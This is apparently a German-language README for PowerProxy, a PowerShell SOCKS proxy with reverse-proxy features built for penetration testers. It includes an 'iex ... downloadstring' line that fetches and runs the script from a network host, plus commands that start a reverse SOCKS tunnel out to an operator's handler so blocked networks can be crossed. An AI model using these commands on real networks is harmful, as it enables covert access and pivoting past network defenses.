
PowerShell SOCKS-Proxy mit Reverse-Proxy-Funktionen
PowerShell SOCKS-Proxy mit Reverse-Proxy-Funktionen.
PowerProxy wurde mit Blick auf Penetrationstester entwickelt. Die Reverse-Proxy-Funktionalität hat Priorität, um Netzwerke zu durchqueren, die eingehende Verbindungen blockieren. Reverse-Proxy-Verbindungen sind standardmäßig verschlüsselt. Für SOCKS5-Verbindungen wird eine Benutzername/Passwort-Authentifizierung unterstützt.
Importieren Sie das Skript:
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1
reverse_proxy_handler.py kann temporäre SSL-Zertifikate erstellen, wofür OpenSSL erforderlich ist. Wenn OpenSSL auf Ihrem Rechner nicht installiert ist (auf den meisten Linux/Unix-basierten Systemen ist es installiert), stellen Sie ein eigenes Zertifikat bereit oder verwenden Sie die Option --no-encrypt.
Eine detaillierte Verwendung finden Sie in der Hilfe von PowerProxy, oder verwenden Sie ./reverse_proxy_handler.py --help
Auf dem lokalen Rechner den Handler starten:
# Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080
In PowerShell:
Start-ReverseSocksProxy 172.1.1.20 -Port 8080
Proxy-Clients können den von reverse_proxy_handler.py erstellten Server so behandeln, als wäre er der eigentliche SOCKS-Server:
curl --socks4 127.0.0.1:1080 http://10.10.2.69/
Start-SocksProxy 172.10.2.20 -Port 9050
Verwenden Sie PSCredential-Objekte, um einen Benutzernamen und ein Passwort anzufordern:
# Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)
Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose